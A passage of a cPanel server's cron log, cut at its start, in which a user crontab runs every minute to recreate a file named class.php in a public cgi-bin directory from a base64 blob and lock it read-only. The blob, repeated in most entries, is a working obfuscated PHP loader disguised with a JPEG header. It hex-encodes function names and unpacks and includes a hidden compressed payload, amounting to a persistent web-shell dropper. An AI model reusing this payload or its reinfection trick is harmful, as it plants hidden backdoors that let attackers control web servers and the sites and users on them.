vKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:14:01 server CROND[19422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:15:01 server CROND[19510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:15:01 server CROND[19513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:15:01 server CROND[19514]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  8 12:15:01 server CROND[19515]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 12:15:01 server CROND[19512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:16:01 server CROND[19752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:17:01 server CROND[19840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:18:01 server CROND[19919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:19:01 server CROND[20100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:20:01 server CROND[20167]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:20:01 server CROND[20168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:20:01 server CROND[20171]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 12:20:01 server CROND[20172]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 12:20:01 server CROND[20173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:21:01 server CROND[20304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:22:01 server CROND[20373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:23:01 server CROND[20441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:24:01 server CROND[20610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:25:01 server CROND[20693]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:25:01 server CROND[20694]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:25:01 server CROND[20696]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 12:25:01 server CROND[20695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:26:01 server CROND[20853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:27:01 server CROND[20916]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
